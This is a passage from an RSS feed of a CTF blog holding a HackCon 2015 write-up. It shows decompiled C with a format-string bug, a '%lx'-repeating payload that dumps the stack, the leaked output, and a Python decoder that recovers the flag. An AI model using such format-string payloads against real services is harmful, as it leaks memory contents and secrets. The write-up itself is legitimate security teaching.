    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;   &lt;span class=&quot;c1&quot;&gt;// if they do not match&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Did you say: &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;fflush&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_bss_start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;__printf_chk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;      &lt;span class=&quot;c1&quot;&gt;// print the user input&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;fflush&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_bss_start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;The flag's right!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// the flag is correct&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;fflush&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_bss_start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;                            &lt;span class=&quot;c1&quot;&gt;// the file does not exist&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;No!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;fflush&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_bss_start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MK_FP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__FS__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;40LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;There is a &lt;em&gt;string format exploit&lt;/em&gt; in the line:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;__printf_chk(1LL, &amp;amp;s);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The user input is treated as format string. So we can exploit this to dump the stack and get our flag. Since the program is in 64 bits we need to use the placeholder &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%lx&lt;/code&gt; to print a whole memory block. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fgets&lt;/code&gt; is told to copy 100 bytes, so we can join 33 times &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%lx&lt;/code&gt; in order to get more data from the stack.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ./pwnie
%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The output is:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;07f7ef00e68707f7ef05c374004847464544434241504f4e4d4c4b4a49a00007f7ef05e45207fff414a69807fff414a6970f63d4e2e40043625786c25ffffffff786c25786c25786c6c25786c25786c2525786c25786c2578786c25786c25786c6c25786c25786c2525786c25786c2578786c25786c25786c6c25786c25786c2525786c25786c2578786c25786c25786c6c25786c25786c25786c25786c257839cc7d2e1411990007f7ef001cec50&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We can easily spot the part that holds the content of the file stored in little endian:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;4847464544434241504f4e4d4c4b4a49
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So the interesting part comes after 26 bits. We can use python to convert the stack into readable data:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;07f7ef00e68707f7ef05c374004847464544434241504f4e4d4c4b4a49a00007f7ef05e45207fff414a69807fff414a6970f63d4e2e40043625786c25ffffffff786c25786c25786c6c25786c25786c2525786c25786c2578786c25786c25786c6c25786c25786c2525786c25786c2578786c25786c25786c6c25786c25786c2525786c25786c2578786c25786c25786c6c25786c25786c25786c25786c257839cc7d2e1411990007f7ef001cec50&quot;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;xrange&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;26&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;repr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'hex'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[::&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The result is:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;'ABCDEFGH'
'IJKLMNOP'
'R\xe4\x05\xef\xf7\x07\x00\xa0'
'\xff\x07\x98\xa6\x14\xf4\xff\x07'
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can use the same technique on the webservice and get the flag: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FORMAT(STR)&lt;/code&gt;.&lt;/p&gt;

</description>
        <pubDate>Thu, 20 Aug 2015 19:00:00 +0000</pubDate>
        <link>http://vimvaders.github.io/hackcon2015/2015/08/20/did-you-mean.html</link>
        <guid isPermaLink="true">http://vimvaders.github.io/hackcon2015/2015/08/20/did-you-mean.html</guid>
        
        <category>ctf</category>
        
        <category>pwn</category>
        
        
        <category>hackcon2015</category>
        
      </item>
    
  </channel>
</rss>
